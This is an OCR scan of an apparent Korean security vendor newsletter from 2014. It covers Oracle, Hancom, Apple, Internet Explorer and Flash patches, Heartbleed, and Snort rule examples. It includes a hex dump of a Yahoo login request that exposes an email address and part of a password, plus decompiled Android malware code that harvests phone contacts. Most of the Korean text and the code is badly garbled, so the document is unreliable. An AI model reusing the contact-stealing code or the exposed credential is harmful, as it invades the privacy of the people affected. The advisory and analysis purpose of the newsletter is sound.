0f2H2] Snort K| E(rule)S ZT5104 ﬁlﬂ%rxww S HIRIRIEH AIAGION THEA RIEI0IE 248 21
- FIOO| CHEH A7} R 3 ALSKISC] HIZHS THIHS Q010 HHE AFS 2483 27t IIGHS WXIsHs Hots 1

*OFF H[2e| 32 ST AEAL] AZEE7 RE5= 20| 2

SOI|0] FXH HIYUHS HAZS QML =

@768: 75 69 72 61 2E 6D 6D 36 61 26 2E 79 7@ 6C 75 73 uira.mmba&.yplus
©770: 3D 26 2E 65 6D 61 69 6C 43 6F 64 65 3D 26 70 6B =&.emailCode=&pk
0780: 67 3D 26 73 74 65 70 69 64 3D 26 2E 65 76 3D 26 g=&stepid=&.ev=&
0790: 68 61 73 4D 73 67 72 3D 30 26 2E 63 68 6B 50 3D hasMsgr=0&.chkP=
©7a@: 59 26 2t 64 6E 65 3D 68 74 /74 7@ 25 33 41 25 Y&.done=httpX3A%

32 6D 61 69 6C 79 51 EB GF EF rig¥lamail.yahoo.

@7b0:

32 46

ZE 2E
) 79 6l :
3 44

EE

] & R

20144 42 Oracle Critical Patch Update 1!

Oracle Critical Patch Update(CPU)= Oracleft2| HZS
Oracle CPURER 0

- JHIEE

20144 48 Oracle CPUMIM= Oracle XA =2 HOEE
7580 U=

Fs

HE SATEL 32 = It Lo/t Ol dkl=

FordS TEH510] DBO| 7184/7 [LA/S AN S8 5

ais U= A|AH
+ Oracle Database 11g Release 1, version 11.1.0.7 Database

* Oracle Database 11g Release 2, versions 11.2.0.3, 11.2.0.4 Database

+ Oracle Database 12c Release 1, version 12.1.0.1 Database

com&.pd=ym veri3
DOAL6cAIDR261VvER
30x26sgx30D& . ws=1
&.cp=0&nr=0&pad=
6&aad=6&login=ag

nesaduboateng®d4@
yahoo.com&pas
=924

swd

* Oracle Fusion Middleware 11g Release 1, versions 11.1.1.7, 11.1.1.8 Fusion Middleware

+ Oracle Fusion Middleware 12¢ Release 1, versions 12.1.1.0, 12.1.2.0Fusion Middleware

+ Oracle Fusion Applications, versions 11.1.2 through 11.1.8Fusion Applications

IR 1047H0l CHE! THE | 2. 947 2l 224 27
= e FUH EXN

ESTsoft

+ Oracle Access Manager, versions 10.1.4.3, 11.1.1.3.0, 11.1.1.5.0, 11.1.1.70,11.1.2.0.0, 11.1.2.1.0, 11.1.2.2.0

Fusion Middleware

- Oracle Containers for J2EE, version 10.1.3.5 Fusion Middleware

+ Oracle Data Integrator, version 11.1.1.3.0 Fusion Middleware

+ Oracle Endeca Server, version 2.2.2 Fusion Middleware

* Oracle Event Processing, version 11.1.1.7.0 Fusion Middleware

+ Oracle Identity Analytics, version 11.1.1.5, Sun Role Manager, version 5.0Fusion Middleware
» Oracle OpenSSO, version 8.0 Update 2 Patch 5 Fusion Middleware

+ Oracle OpenSSO Policy Agent, version 3.0-03 Fusion Middleware

« Oracle WebCenter Portal, versions 11.1.1.7, 11.1.1.8 Fusion Middleware

23‘.'_% cfE_Tl_}«'l copyright by Estsoft Corp.All rights reserved,
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+ Oracle WebLogic Server, versions 10,0,2.0, 10.3.6.0, 12.1.1.0, 12.1.2.0Fusion Middleware

+ Oracle Hyperion Common Admin, versions 11.1.2.2, 11.1.2.3 Fusion Middleware

» Oracle E-Business Suite Release 11i, 12i E-Business Suite

+ Oracle Agile PLM Framework, versions 9.3.1.1, 9.3.3.0 Oracle Supply Chain

+ Oracle Agile Product Lifecycle Management for Process, versions 6.0.0.7, 6.1.1.30racle Supply Chain
+ Oracle Transportation Management, versions 6.3, 6.3.4 Oracle Supply Chain

* Oracle PeopleSoft Enterprise CS Campus Self Service, version 9.0 PeopleSoft

+ Oracle PeopleSoft Enterprise HRMS Talent Acquisition Manager, versions 8.52,8.53 PeopleSoft

+ Oracle PeopleSoft Enterprise PT Tools, versions 8.52, 8.53 PeopleSoft

* Oracle Siebel Ul Framework, versions 8.1.1, 8.2.2 Siebel

+ Oracle iLearning, versions 6.0, 6.1 iLeaming

- Oracle JavaFX, version 2.2.51 Oracle Java SE

+ Oracle Java SE, versions 5.0ué1, 6u71, 7u51, 8 Oracle Java SE

» Oracle Java SE Embedded, version 7u51 Oracle Java SE

» Oracle JRockit, versions R27.8.1, R28.3.1 Oracle Java SE

+ Oracle Solaris, versions 9, 10, 11.1 Oracle and Sun Systems Products Suite

+ Oracle Secure Global Desktop, versions 4.63, 4.71, 5.0, 5.1 Oracle Linux and Virtualization

+ Oracle VM VirtualBox, versions prior to 3.2.22, 4.0.24, 41.32, 4.2.24, 4.3.100racle Linux and Virtualization
* Oracle MySQL Server, versions 5.5, 5.6 Oracle MySQL Product Suite

- o ZH
ol FUFE G U= HES 2ok s EelXkt= AIA0|EN ALK = “Affected Products and Components™ 3! “Patch Availability
Table” IS 2121610 IjX| HE

[T ALOIE] http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html
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OfelErE UOITE Mgt F{oFY ot H[0|E A1
SrEATEROA JHEet FIEZZ M2 Ofligh=0lA |2 Z=A~0] 7HsT FE0] 23E

- SMER
BARH W ANE, HIY, HAIXC| 3 S8 Sl S0P ZAE SBRMHWP)S FOLEE SE510] YOITES MUAIY + US, T W=
O] ALSRHS OHITE 20l FIOF8! 4 YOO SN M2t HOIIE0|E 2

- ofiZE

SFEUHFEl SH|OX|0flAM E2YOI0|E TS X1F OR2EC Wot dX|sHo Ok HEHS 2 /(0| E ([E2H420])

- OF22E 42 | http://www.hancom.co.kr/downLoad.downPU.do?mcd=001
- O[tH Ot HH|0|E= YR RED E2K510 T2 73 HTE(UEMS)= HEE|X| OHLISIR7 | T2 HoF HS((E2H20))2 1=

GrEOA 2014)
. SI21HOE QU|A ZE QA 19001329 2 0|AH HA

W

- BIAQIIA 312 2014 : 9001258 X O[Af HHH

(SHALIA 2010 SE+
SHEAQIOIA 2010 =24 8581471 R Ofa ™

- 8= 2010 8.5.8.1409 & 0|4 HH
St/41 2010 8.5.81323 & OfAF

- 3H/4 2010 8.5.81466 % O] A

SrElARE A+S YH0|ES Soff th2 2lkHT2 = H0|E

- 0|t HOt O[O |E YR ZET ERSI0 ZE 03 HE(REHS) = HAK|X| OH5IR7| z0l| E2HAH|01E HE 21212 X+5 RHI0|E 2FTH0|A

‘AHH0|E ISR E= HOL HS(#20 HOt £[opH 7iM) 2 12

X QIO |E M7} 2014 43 229 = HOH HS I #20 21X 22l (ORH I8 A %2 28)

AR —-BE O -3 FrHE — s=EitawE ALS BH0|1E

(R IAROIE] http:ﬁwww.hanmm.m.krfdnwnLﬂad.dnwnPU.dﬂ?mtd=DD1

Apple(OS X, iOS devices, and Apple TV) E2t HH|0|E 1
AppleftOilA XtAL HIZ 0l CHaH CH2) FofMS sHZSH 2Ot RIHI0|EE 3X|
SAX} FAHS 0[S510] YA E Al S TIGHE LYAIZ 5= U0 51 Apple HIZS ZLHTLZ HHO|E AU

TI1O=2

- SMER
QIojTIE A3 3 AppleZIHIE 0183 E4 7Hs S Ci40| FOFYS Eg)

- ol &
0S X HIZ&
- SH|0|X] &F 4X| : http://support.apple.com/downloads/ E30|A aiE HEHE L2250 YO0 |E T

. O HAE0] OIS : O BilwOlIA] [A B E0] 2IEIO|] Aet

About This Mac

Software Update...

App Store... A
System Preferences...
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Apple TV Update
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A nowT

W hostds T el saptart 30 Eebgan rataleg T opdate. Do rol erpbeg pous’ s T
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Updato Now
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MS Internet Explorer R1Z4T E AlsH A7 k™ Fo| M1

Use-After-FreeE 0|28t AT E A8l FoFH (CVE-2014-1776)
- ANEH

00| 2A T E(0[5F MS)2| Internet ExplorertijA HZTE Al3H0| 755t 4
SHE FoPHof| CiSH 2Ot H|0|E= OFR| YWHE|X| QIQtOL) FobHE U235t

At ZIOF0| WS
37 A7 SHI0IA] &

I.

Q=IO ArEALR) =27t 5ol |+1E
- sz

- MS2| E2F S0 |E 28] MK OE Igyl B2 AtES
Windows XP AF2XAH= SE0|c 29t 2H|0|EV T HIZE|X| §

1! (Mozilla Firefox, Safari, Google Chrome &)
220 = HOMAHOIEZ Miskl=s TE MlES= AEE XS 40| HuE

=

- Y= MIE AEARE Ol 471K & oiL12] HE=S
EMET AtEZ, Internet Explorer2] E0F A £
11 B0l 8H)

1. EMET(Enhanced Mitigation Experience Toolkit) 4.1 At

5101 ZIQFH0l CH3H TS AL 4 US

VGX DLL H|gd3} g=l 25 0 E(Enhanced Protected Mode) 4474 (QIEl A EZ204
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2. Internet Explorer2| 22t &7 +3( Of2H2] F7tX| L S0l HEi5HH HE)
* Internet Explorer Hirr & =t ) QUEA 4 ) 22t B0i|A] QUEa ZHRIENNS| EoteFE FELE 7
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3. VGX.DLL Hig-det

*ollg FfE e BEQI VGX DLLE Hlgdst X2
*AJE) Mel Sl = AE2+R 7|8 S L2 AEA  "%SystemRoot%\System32\regsvr32.exe” —u "%CommonProgramFiles%
\Microsoft Shared\VGX\vgx.dll'S /& £ 2|21 23
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ESDN 80 84 S Gy Sa8 R4

CRTUQE RCommonProgramFiksSirMiceoseT ShaeedW XEVgR Al -
W 0 RTLIZD ABLE ABES LD
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‘RegSwr32

C:wProgram Files#Common FileswMicrosoft

Shared#VGX
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"%SystemRoot%\System32\regsvr32.exe" "%oCommonProgramFiles%\Microsoft Shared\VGX\vex.dll
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- R0 2fet DisHE E017| 5tH ArSAt= et €2 ArdE =olOre
LIE|[X] = E MOIEL] & A
Aol Rl W= TJH0| 2 FH0IES FAll, SAT ZAPIsE Bdst
XL 2238t 0HIYe] 23 SEoPHL FR I HoE 7| XiH|

[RIAO|E]
https://technet. microsoft.com/en-us/library/security/2963983
http://www fireeye.com/blog/uncategorized/2014/04/new-zero-

day-exploit-targeting—internet-explorer—versions-9-through-11-identified-in-targeted-attacks.html
https://support.microsoft.com/kb/2458544
X LIS 2 O[0[X| EX| EHIQIETIE )

Adobe Flash Player 21+ F 8 22 HH|0|E H11
Adobe Flash Player0l|A| 2 li5t= 1702] F2UHS sl Zst= 22t YO0 EE YR
- AMHE
Qo|FE LMo = 0|0E &= U= HY LHEZ L FFH(CVE-2014-0515)
- G2
ISR, B, 2j5A §170] Adobe Flash Player AHSXH= Ofh HZIC 2 H0IE g
e 2 9 AREAR=E 13.0.0.206 HEC = YH[0|E, elsA AFEA= 11.2.202.356 HF 2 = HO|0|E

- P W 2lsA S0 Adobe Flash Player AFEX} X2

Adobe Flash Player Download Center(http://www.adobe.com/go/getflash)0| 2510 Z[A HES HX[SHHL, AHE RHI0|1ES 01261
S2140|=E

- 12 ISHER K AL 24
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[T ALO|E] http://helpx.adobe.com/security/products/flash—player/apsb14-13.html
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1.30]2

SIEEL|E: MZIStOpenSSL M|ZH|0] F2Fd A
Heartbleed: Serious OpenSSL zero day vulnerability revealed

OpenSSL 2t0|= 2|0 Crst 2HIS S2f YO 4243t AH0| YL SIESE B 1= S 2| OpenSSLSSL
O|Lt TLS QS50 ALREH= 210|22{2))2 AFRSH= QIE|LIO| HOH 2 AIO|E0] TSt (IRES M2 H3te & 4 U HSo|ct
SSLZ} TLS Z2ESL 0|n|Lat & 0jZ2JAH(0]M, FHO| VPN, HIAIX| Mu|A 52| HOtS QJs AFRE|Z2 AFAP & HS &1
QICHT W= f5 3t 7|LL JHOIEIQ! HIAIK|, HAQIE, 7|Y A, 12|10 1 9 PHOIEX] BHRHS 0| 2JH MOILIZE 4= UCE

OpenSSL 1.0.124 1.0.2 HIEF Fe| X7t ol B0 Ffst A= 22X UCY.
=X : ZDNet(http://www.zdnet.com/heartbleed-serious-openssl-zero—day-vulnerability-revealed-7000028166/)

QIE{l QA2 HT
Users warned to stay off of Internet Explorer

OO|Z2AZET QIEU A B2 0] 25t 20t AN E WHCE QIEW 2] AS23(IE)0A RCE(Remote code execution)E OF7 &
= U= FYEC 2 SAX= AFEAT L ZAHE EHO|X|Lt 0|0fX| IYS Hi= AROZ & QIE{Sll QJASZ2(E)7F ARRAIL| HIERIS
QR0IM HESE Ml FEE AXGIES IS o= QUL F, diFs AFSAP 2 MAZ R MRIIYS BOECAHL CH2EE k= 82
EY5 HAF S SHX| LOte AFSALS| ZFE( HYHE Sl FAIZ 4= UCEL M2 AASZ00| Lot AASH HE= 72
QX[TE OO |2 2A T E= QIR 2 AE22{(IE) 60A 110f] O|2= 2 HT0| O] FFES 201 QUCH QIFKCH,

&3] : -Business Record(http://www.businessrecord.com/Content/Tech-
—Innovation/Tech-—Innovation/Article/Users-warned-to—stay—off-of-Internet-Explorer/172/834/63359)
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A7 BGAER
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[ BB UL
e ERENBRGE , SEHEVEAR , FR
— || EBRAREMUNEN , ERAPEH R,
S | m N3 © TR FN

E0[Et A2 FAEN U= 2EH Cr0f[A AO0[A HIMX|E HUf= 20| OfL|2t OHtF, *HOF, "G, oK, L & 7 |HES
ZAGHY, AF2 XL 7S S0[AHTE AD|A HIA|XIE FESH= Z0|Ct s AD|A HIAIX= LE XXOF, LH7} A7 |6 S W74gH=0|,
AH2517| & a5, http://t.on/xxx0IA CH2EE BIopA MX[GHEFEH= HRO R fAIXR| 228

private boolean checkFeya(String name) |

bsolaan O = Falan?
\f('name.containa("Bi") G& 'name.containa("¥)") &b !name.contains("PE") Gk 'name.containa("B1") &6

‘nane.containe (” %t ] EE !smame.contains (" tﬂ )} & 'smame.contalna(” JE:; i) |
v = renss
* RBA NPT EA

ratorn Yo

private void getFhoneContactail) |
sring] v = nnll;
irsar v9 = this.gecContentResolver() .query{ContactsContractiCommonDataKindatPhone. CONTENT ORI
y Ve, "datad=-2*, ¥, {((3trir Fyvah i
while (v3.moveTolext()) |
frring wvid = vi.gec3cring(vi.gecColemnindex(“datal=)):
string vid = vi.getScring(vi.gerColumnindex("contact 147));
7 vil = P.1aExcu(vid):
$ifi{vll == nnll)

continne: g RER
)
carsor vi2 = this.gecContentResolver () .query(ContactaContractiContacty..CONTENT URI, vi,
= id=" + wld4, 2, ([Scrizglvd)):
ifivid.movelafirac{l) (
continoe;

}

String vil = wil.getdtringivii.gesolumnindex ("display nama®}));
if{!this.checkEeya(vid)) {
continoe;

}

thip.phose=mby.put(vil, ¥i0):

£ : http://tech.sina.com.cn/i/2014-04-24/14549342910.shtml
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3.2=

IE #2580l CHolk

Microsoft= 4226201 AlZH, Microsoft Security Advisory 296398301 101 IE6, IE7, IES, IE9, IE10, IE110]| 2|2 EEZ T EE Alalist
= U= HOF FFH0| EXYSHL FRICH LB O 2 Microsoft= & 12] 22t HOI0|E2 B2 F2fH| et ChESS AAlskar UX[TH
OtH HOt FOFEO| i = 7HE 2 IHXIE MiSol QUL S4X= ZAE # AO|EE FHIYCEM offE H2tF FUES 0|8 =
| 20| 2|7} ELsIC, O EXl= H|22|0|A] O]0] AfA[E 7HAI0 YM|ASEAHLE, OFE| MICHE 2P E[X] 22 HX|0] M| ASH=
Zgls 0|88= A0|C) siE H2t FES 01261 A= 4 a2 IECIA olF IE Hete = 2| T8 Al = Q| =Lt
HO IHX|E MEEX[0| CHEH 045 = Microsoft Security Advisory 29639832] ‘Mitigating Factors' &= S2 HES R} UCL
A0 M HMESEK| 2247, & 12| 29t YH[0|EN|A CERO{E ZX7t 8is A= HlCt,

EX : http://news.mynavi.jp/news/2014/04/29/035/
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Contact us

FO0|AEADE HOM|SE Tel : 02-3470-2999
E-mail : help@alyac.co.kr

oroF =0 X| : www.alyac.co.kr
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